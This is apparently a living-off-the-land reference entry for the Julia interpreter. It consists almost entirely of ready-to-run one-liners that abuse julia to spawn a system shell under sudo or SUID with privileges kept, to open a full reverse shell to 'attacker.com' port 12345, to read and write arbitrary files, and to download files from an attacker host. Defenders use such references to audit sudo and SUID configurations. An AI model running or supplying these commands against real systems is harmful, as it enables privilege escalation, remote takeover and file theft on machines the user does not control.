julia
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
julia -e 'run(`/bin/sh`)'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.julia -e 'run(`/bin/sh`)'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.julia -e 'run(`/bin/sh -p`)'
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'